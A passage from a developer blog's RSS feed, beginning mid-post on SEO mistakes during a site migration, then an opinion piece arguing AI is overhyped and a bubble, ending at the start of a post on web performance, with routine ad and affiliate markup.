application/ld&amp;#43;json script on a website, it cannot be seen visually but it is read by search engines and helps them to understand the type and relationships that exist between each of the entities on your website.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;dont-forget-to-update-google-search-console&#34;&gt;Don&amp;rsquo;t forget to update Google Search Console&lt;/h2&gt;&#xA;&lt;p&gt;If you are also changing your domain when changing your website, Google Search Console has a tool that allows you to tell Google that you are changing the domain. This way, Google “knows” that you are migrating your content and can match the new URLs to the old ones so that they do not lose their positions in its ranking system.&lt;/p&gt;&#xA;&lt;h2 id=&#34;remember-to-take-the-semantic-structure-into-account&#34;&gt;Remember to take the semantic structure into account&lt;/h2&gt;&#xA;&lt;p&gt;If you are migrating from WordPress, this platform has a certain URL structure, for example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/category-1/title-54&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/category-2/title-12&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Make sure that every URL on your new site has the same structure. It will take some extra work, but it will ensure that search engines understand the hierarchies between the elements of your website in the same way.&lt;/p&gt;&#xA;&lt;p&gt;That was the tragic story of how my traffic went down abruptly, because I was a layman in SEO.&lt;/p&gt;&#xA;&lt;p&gt;But after that incident, I decided that i wouldn&amp;rsquo;t allow for it to happen me again, so I started reading about SEO and I learned a lot of things that I put into practice later. I&amp;rsquo;m not going to lie to you, right now the website is not at the level that it was before but it is heading in that direction and the best part is that I know what I&amp;rsquo;m doing now.&lt;/p&gt;&#xA;&lt;p&gt;I had not given myself the opportunity to touch this topic in the blog, because semantically it is quite far from what most devs understand by web development, and most devs are not really interested in SEO.&lt;/p&gt;&#xA;&lt;p&gt;But I finally decided to write these mistakes here so they can save you a couple of headaches in the future.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A few years ago, I migrated my website a couple of times, first from Wordpress to Frontity (A wordpress framework in React) and then from Frontity to a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/&#34;&gt;Digital Ocean Hugo App&lt;/a&gt;&#xA;. I don&amp;rsquo;t regret my decision at all, but I made a few technical SEO mistakes that you can probably avoid if you take into account what I&amp;rsquo;m about to tell you.&lt;/p&gt;&#xA;&lt;p&gt;After that incident I wrote &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/&#34;&gt;&#xA;  &#xA;    &#xA;      My Technical SEO Basics Checklist Only For Web Developers &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>AI is Overhyped When Will the Bubble Burst?</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/</link>
      <pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Since ChatGPT rapidly surpassed the record of user growth, artificial intelligence is almost omnipresent in the modern metropolis collectivity. Its arrival has brought a wide gradient of expectations ranging from simple problem solving to the complete automation of our societies. But I think it&amp;rsquo;s overhyped.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;p&gt;But I believe that, while AI has amazing capabilities, it is far from revolutionizing the world and achieving the full automation expected by the general public in the short term. AI is awesome, but it&amp;rsquo;s overhyped.&lt;/p&gt;&#xA;&lt;p&gt;And I&amp;rsquo;m not alone in this, even a big company like Apple stepped out of the AI race, details in its paper &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ml-site.cdn-apple.com/papers/the-illusion-of-thinking.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;The Illusion of Thinking: Understanding the Strengths and Limitations of Reasoning Models via the Lens of Problem Complexity&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Maybe intelligence is not possible without consciousness, like Penrose and John &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;Searle&amp;rsquo;s chinese room experiment&lt;/a&gt;&#xA; states.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755670736/Sam-altman-sees-an-ai-bubble_rx7hdu.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755670736/Sam-altman-sees-an-ai-bubble_rx7hdu.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme Sam Altman sees an AI bubble&#34; width=&#34;745&#34; height=&#34;454&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Even &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cnbc.com/2025/08/18/openai-sam-altman-warns-ai-market-is-in-a-bubble.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Sam Altman sees an AI bubble&lt;/a&gt;&#xA;, according to the media:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;“Are we in a phase where investors as a whole are overexcited about AI? My opinion is yes. Is AI the most important thing to happen in a very long time? My opinion is also yes,”&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And I totally agree with him.&lt;/p&gt;&#xA;&lt;h2 id=&#34;is-the-ai-bubble-finally-bursting-out&#34;&gt;Is the AI bubble finally bursting out?&lt;/h2&gt;&#xA;&lt;p&gt;Edit: Builder.AI a promising AI that offered websites created with AI was nothing more than a bunch of India developers working behind the scenes, and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://finance.yahoo.com/news/builder-ais-shocking-450m-fall-170009323.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;it has just filed for bankruptcy&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;This is just another proof that screams that lot of AI businesses are playing hit and run with investor&amp;rsquo;s money. They try to rise the expectations to get money from the angel investors and whoever they can and then just fall epically when they fail to deliver. But at that moment, who cares, money has been made and businesses involve risks so&amp;hellip;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/meme-ai-is-this.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/meme-ai-is-this.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme mocking the capabilities of AI&#34; width=&#34;630&#34; height=&#34;1061&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Devin AI fell into oblivion. At the same time, we are seeing the law of diminishing returns with each new LLM that appears (video and image generative models have not yet reached that point).&lt;/p&gt;&#xA;&lt;p&gt;Other companies have already abandonned the idea of replace developers and focused on becoming tools in code creation, like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/&#34;&gt;Bolt, Lovable o V0&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;humanitys-last-exam-shows-that-ai-is-overhyped&#34;&gt;Humanity&amp;rsquo;s last exam shows that AI is overhyped&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s consider Humanity&amp;rsquo;s last exam scores, as you can see, we&amp;rsquo;re around ~30% which is frankly a lot. I don&amp;rsquo;t think we have been close to having something like this. Just thinking about the possibilities makes me tremble. However, investors and click-bait media are trying to convince you that we&amp;rsquo;re around 100%, which is a criminal fallacy. AI&amp;rsquo;s accomplishment are just incredible, but still AI is overhyped.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1754517008/coffee-bytes/humanity-last-exam-x1080_qhksix.jpg&#34; aria-label=&#34;Humanity&amp;rsquo;s last exam score&#34;&gt;&#xA;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1754517008/coffee-bytes/humanity-last-exam-x1080_qhksix.jpg&#34; alt=&#34;Humanity&amp;rsquo;s last exam score&#34;/&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t misunderstand me, these values are &lt;em&gt;amazing&lt;/em&gt; but they&amp;rsquo;re far from what&amp;rsquo;s being promised by media and investors.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;investors-greed-and-consumers-ignorance-are-guilty-of-the-ai-overhype&#34;&gt;Investors&amp;rsquo; greed and consumers&amp;rsquo; ignorance are guilty of The AI overhype&lt;/h2&gt;&#xA;&lt;p&gt;It is enough for a company to use AI to grant it with an unknown magic that makes it irresistible to the general public, and also to investors. And this because a simple reason: as a society we do not understand how AI works internally, we do not understand the statistics behind it and we endow it with the mysticism of magic.&lt;/p&gt;&#xA;&lt;p&gt;Consumers, usually businesses, expect AI to reduce (or eliminate) the costs of hiring people and investors expect to make the investment of a lifetime.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748837232/coffee-bytes/ai-expectations-vs-reality_zwg4xh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748837232/coffee-bytes/ai-expectations-vs-reality_zwg4xh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;My AI reality vs expectations diagram&#34; width=&#34;3082&#34; height=&#34;2695&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;It&amp;rsquo;s not that AI isn&amp;rsquo;t valuable, it is, but its capabilities are below what companies are promising.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;ai-fever-and-capital-investment&#34;&gt;AI fever and capital investment&lt;/h2&gt;&#xA;&lt;p&gt;As I said, investors don&amp;rsquo;t want to be left out of this party and are so eager to hit the jackpot and become the new Zuckerberg of artificial intelligence that they open their wallets without thinking every time they hear the word &amp;ldquo;AI&amp;rdquo; in the same sentence as &amp;ldquo;disruptive.&amp;rdquo;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/wallstreet-is-dumb.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/wallstreet-is-dumb.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Wallstreet has no idea about AI&#34; width=&#34;630&#34; height=&#34;391&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;But, I&amp;rsquo;m under the impression that this is all just a bunch of companies and entrepreneurs acting on the above, just as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/&#34;&gt;creators of  Devin, the supposed replacement for programmers&lt;/a&gt;&#xA;, and the creators of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.rabbit.tech/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Rabbit R1&lt;/a&gt;&#xA; are probably doing.&lt;/p&gt;&#xA;&lt;p&gt;The market is trying to make a quick and easy buck from the suddenly growing interest of tech laymen in something as abstract, and with such esoteric characteristics, as AI.&lt;/p&gt;&#xA;&lt;h2 id=&#34;many-of-the-ai-solutions-are-just-plain-chatgpt-wrappers&#34;&gt;Many of the AI solutions are just plain ChatGPT wrappers&lt;/h2&gt;&#xA;&lt;p&gt;In addition to this, most people involved in the financial side of AI don&amp;rsquo;t understand that not much has really changed in the coding world, most solutions just use ChatGPT on the backend, along with a visually appealing interface to present themselves as the next unicorn and look for easy money from investors.&lt;/p&gt;&#xA;&lt;p&gt;There are even protocols to interact with LLM, like the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-company-chatgpt.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-company-chatgpt.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Startups are just a wrapper for chatgpt&#34; width=&#34;630&#34; height=&#34;486&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not that using chatGPT for your company is wrong, but if an app is just a GPT wrapper, the risk of becoming a commodity is high, are we going to have thousands of different apps that solve the same problem and are just chatGPT wrappers?&lt;/p&gt;&#xA;&lt;p&gt;And not that the above is wrong, but I would prefer that all the possibilities that AI has to offer be explored, that we train neural networks to automate every tedious aspect of society and free humans from the paradigm of performing repetitive 9-5 tasks or maybe to improve human&amp;rsquo;s health via &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/&#34;&gt;drug design&lt;/a&gt;&#xA;. I want more investment in AI, but one that &amp;ldquo;adds value,&amp;rdquo; not just seeks to profit as quick as possible.&lt;/p&gt;&#xA;&lt;h2 id=&#34;companies-are-running-out-of-data-to-train-llm&#34;&gt;Companies are running out of Data to train LLM&lt;/h2&gt;&#xA;&lt;p&gt;I stumbled upon this video the other day, and I agree with this fine gentleman: Companies are running out of data, it was never about computing power, it&amp;rsquo;s all about curated and reliable datasets to train AI.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/nkdZRBFtqSs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;The greed that feeds the use of AI is going to flood the internet with a myriad of AI articles, that are going to be used to feed, and afterwards be regurgitated by the AI, over and over again &lt;del&gt;as in the human centipede movie&lt;/del&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-tragic-end-of-the-ai-overhype-and-the-new-normal&#34;&gt;The tragic end of the AI Overhype and the New Normal&lt;/h2&gt;&#xA;&lt;p&gt;Having said the above, it seems that I believe that all this about AI is nothing more than smoke and mirrors, but that&amp;rsquo;s far from the truth, I believe that AI is going to stay and it has potential for a social revolution but, at least in the short term, it will be exclusive to a very small group of companies, among which I highlight openAI, Google, Microsoft and the usual players.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Machines don’t learn. What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. This mathematical formula also generates the correct outputs for most other inputs (distinct from the training data) on the condition that those inputs come from the same or a similar statistical distribution as the one the training data was drawn from. - Andriy Burkov&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;My take is that AI is the ultimate autocompletition tool, be it text, images, video 3D structure (I foresee a huge potential in this field), nothing else. So far AGI is a milestone that remains distant in the future and we don&amp;rsquo;t know if it is achievable.&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t get me wrong, there is an AI overhype, but it will stop when companies realize AI&amp;rsquo;s true capabilities. The bubble will burst and only those companies with the potential to change the game forever will remain. Tools like Sora, Midjourney, ChatGPT, Eleven Labs or Watson.&lt;/p&gt;&#xA;&lt;p&gt;It is up to them to decide the pace at which this transition will take place despite what the market is trying to shove down your throat.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-bubble-explosion-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-bubble-explosion-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;dragon ball meme about the AI bubble bursting&#34; width=&#34;630&#34; height=&#34;473&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;My prediction regarding the AI bubble, is that all other companies that don&amp;rsquo;t have their own unique neural networks or some intellectual property to protect them, are going to cannibalize and commoditize themselves, crashing the market in the process, and that, when the AI bubble bursts and AI overhype ends, a lot of people are going to lose money in the process.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Since ChatGPT rapidly surpassed the record of user growth, artificial intelligence is almost omnipresent in the modern metropolis collectivity. Its arrival has brought a wide gradient of expectations ranging from simple problem solving to the complete automation of our societies. But I think it&amp;rsquo;s overhyped.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;p&gt;But I believe that, while AI has amazing capabilities, it is far from revolutionizing the world and achieving the full automation expected by the general public in the short term. AI is awesome, but it&amp;rsquo;s overhyped.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Don&#39;t Obsess About Your Web Application Performance</title>
      <link>https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/</link>
      <pubDate>Wed, 03 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This post is for you, who want to become independent from companies and are looking to create your own projects in the internet world. Have you ever thought if those extra milliseconds of performance that we get by switching a project to a more verbose language really matter that much or if the search for the fastest framework is really worth it?&lt;/p&gt;&#xA;&lt;p&gt;In the world of programmers there is an obsession with speed and performance; we want to squeeze every possible millisecond out of the language and reduce memory consumption to the minimum possible and write queries in their most elegant version that pushes our database to its speed limit and and subject them to the most rigorous &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O performance analysis&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rust-and-go-performance-for-common-data-structures-arrays.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rust-and-go-performance-for-common-data-structures-arrays.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust vs go Benchmark&#34; width=&#34;600&#34; height=&#34;371&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In this constant search we go from high level languages to lower level languages, we wander through the darkest corners of the documentation towards the most esoteric runtimes written in arcane languages whose names seem to be taken out of a dictionary of another language. Did any particular one come to your mind?.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc 